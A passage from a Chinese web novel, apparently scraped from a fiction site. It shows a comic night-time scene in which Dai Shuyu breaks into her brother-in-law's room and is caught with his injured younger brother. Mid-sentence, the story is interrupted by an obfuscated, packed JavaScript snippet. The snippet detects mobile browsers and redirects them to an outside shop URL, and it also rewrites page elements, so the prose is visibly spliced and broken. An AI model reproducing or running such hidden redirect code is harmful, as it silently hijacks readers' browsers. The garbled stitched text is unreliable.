“夫人夜里说饿了,非要闹着到厨房用膳,拦都拦不住,一不留神,就让她跑丢了。” “地上。”戴纾语伸手一指蔺夫人所在的方向,“蔺夫人许是累着了,躺在地上怎么喊都喊不醒。” 白明霁神色复杂地瞥了她一眼,欲言又止。 “看什么看?没见过女人吗?”戴纾语没好气地说,“还不去帮忙把人送回去,守着我做什么?” 白明霁怔愣片刻,随即从丫鬟手中接过蔺夫人,扛在肩上转身离开了。 望着一行人逐渐远去的背影,戴纾语如释重负地松一气,遂加快步伐往蔺清辉居住的院子走去。 初夏时节,夜风凉悠悠的。戴纾语完成任务心切,很快将方才的小插曲抛诸脑后。 蔺清辉居住的东院距离她住的院子较远,戴纾语赶到目的地时,不由出了一身薄汗。 她抬袖闻了闻,身上的酒味更浓郁了。 门口并无守卫,戴纾语环顾四周,抹黑攀上院墙,轻盈地落入院中。 院子里一个人影都没有,就连守夜的小厮亦不见踪影,颇有些反常。 管不了那么多,成败在此一举。 戴纾语摸了摸怀里的贴身用具,还在,遂稍微放下心来。 刚往前迈了两步,不知从何处蹿出来的野猫“喵呜”一声落在她脚边,吓得她后退几步,后背撞到墙上,险些给她撞背气了。 出门没看黄历,今夜不宜出行。 戴纾语揉了揉后腰,压低声音把罪魁祸首赶跑了。 撬窗户的时候,没有阻挠,她干得得心应手。 “清辉,”戴纾语站在床榻前,伸出手去搭在对方肩膀上,捏着嗓子唤道,“你好狠的心啊!竟然要将我赶出蔺府。” 床榻上的人睡得正酣,身形未动,也没有回应。 “清辉,我跟你道歉,你不要赶我走,好不好?”戴纾语得寸进尺起来,指尖顺着对方白皙细腻的脖颈往里钻,快要伸到紧实饱满的胸口了。 手腕忽而被人紧紧攥住,戴纾语未设防,脚下踉跄几步,整个人径直摔倒床榻上,跌进了一个滚烫的怀抱。 戴纾语怔愣一瞬,不禁暗喜,今夜宜出行,这任务——完成进度喜人! “嫂嫂,夜深人静,你到我榻上来做什么?”一道熟悉的声音贴着耳畔传来。 “蔺星斓,怎么是你?”戴纾语震惊得声音都劈叉了。 这人阴魂不散,屡次三番纠缠她,实在可疑。 莫非当真跟她拿了同款剧本?! 蔺星斓将她禁锢在怀里,轻轻嗅了嗅,“你喝酒了?打算找兄长做什么?” 戴纾语用力搡了他一把,将人推开,“不瞒你说,我打算来跟清辉把生米煮成熟饭。倒是你,无故坏我好事,活腻了是不是?” 蔺星斓嗤笑一声,“不愧是水性杨花的女人。” “你当真是活腻了!”戴纾语隔着锦被一巴掌拍在他屁股上。 “不知羞耻!”蔺星斓疼得直抽气,“戴纾语,你弄疼我了!” 戴纾语略微俯身,仔细将人打量着,“我倒是忘了,以家法伺候,你屁股又被打开花了吧!”她幸灾乐祸地说。 蔺星斓咬牙切齿道:“托你的福,我趴在床榻上下不了榻,还要被你二次伤害。” “我帮你看看?”戴纾语皮笑肉不笑,一看就没安好心。 “你想做什么?”蔺星斓攥紧被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897375|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,登时警觉起来。 戴纾语不怀好意地笑了笑,遂伸出手去拽锦被,“让你见识一下什么叫做真正意义上的不知廉耻。” 说罢,她稍微一用力,试图将盖在蔺星斓身上的锦被掀开。 蔺星斓誓死捍卫最后的尊严,不让她得逞。 “戴纾语,你一个姑娘家,哪有强行看光男人身子的道理?” 戴纾语眨了眨眼,伸出手去掀开被子的一角,“你没穿裤子?” “臭流氓!”蔺星斓支起上半身,白净的脸颊泛起诱人的红润,急着从她手中夺回锦被。 熟料动作弧度太大,拉扯到伤口,后腰处火燎燎地疼,疼得他没忍住呻吟出声。 听着这声婉转的呻吟,戴纾语只觉口干舌燥,心底竟生出一股将错就错、将眼前之人拆吃入腹的冲动来。 “看什么?你这个不知廉耻的女人。”蔺星斓骂骂咧咧,想要往里移动,与戴纾语拉开一段距离。 岂料,受伤的皮肤蹭到被褥,伤口处传来撕裂一般的疼痛。 蔺星斓咬紧牙关,努力不让自己因痛苦而在戴纾语面前颜面尽失。 “疼就叫出来吧!”望着他羞赧的神情,戴纾语无端生出捉弄人的心思来,“适当的呻吟能缓解痛苦。” “你是变态吗?”蔺星斓又羞又恼,臊得面红耳赤。 “我不是这个意思。”戴纾语神色如常,试图解释,“我的意思是,你的屁股痛,可以呻吟出声,就没那么痛了。” 好像越描越黑了。 “你快出去!”蔺星斓指着半敞着的窗户,没好气地道。 戴纾语盯着他,没有要离开的意思,“你还没告诉我,你怎么在清辉床上?他人去哪了?” “你能先帮我把被子盖上吗?”夜风透过窗户吹拂进屋,吹得蔺星斓裸露的肌肤凉嗖嗖的,实在太难为情了。 “哦。”戴纾语终于将视线从他身上移开,忙把手里的锦被丢在蔺星斓身上。 “啊——”布料摩擦着臀部的伤口,蔺星斓禁不住痛呼出声,“戴纾语,你下手轻一点啊!” “清辉往哪里去了?”戴纾语不置可否,兀自追问道。 蔺星斓跪趴在床榻上,疼得浑身直哆嗦,“兄长临时有事去明镜司了。” 戴纾语转身就要走,却被蔺星斓攥住手腕,“不许走!” “你有何吩咐?”不知是想到了什么,戴纾语眉梢微挑,盯着蔺星斓轻声笑了起来,“不会是起反应了吧?” 蔺星斓一时语塞,险些气昏过去。 “你有疗愈叶吗?”他用央求的口吻问道,“我后腰疼得厉害,兄长不让请大夫。” 望着他可怜兮兮的模样,戴纾语不由动了恻隐之心,却不得不将残酷的真相告知于他。 “很遗憾,疗愈叶上次被你用光了。” “你——” 话未说全,窗外蓦地响起一阵急促的脚步声,两人不及反应,几道敏捷的身影同时从窗户与门口冲进屋来,将二人团团围住。 “镇抚使大人,异类捉住了!” 蔺清辉看了看床榻上满面通红的蔺星斓,又将视线落在两人紧握着的手上,当即沉了脸色。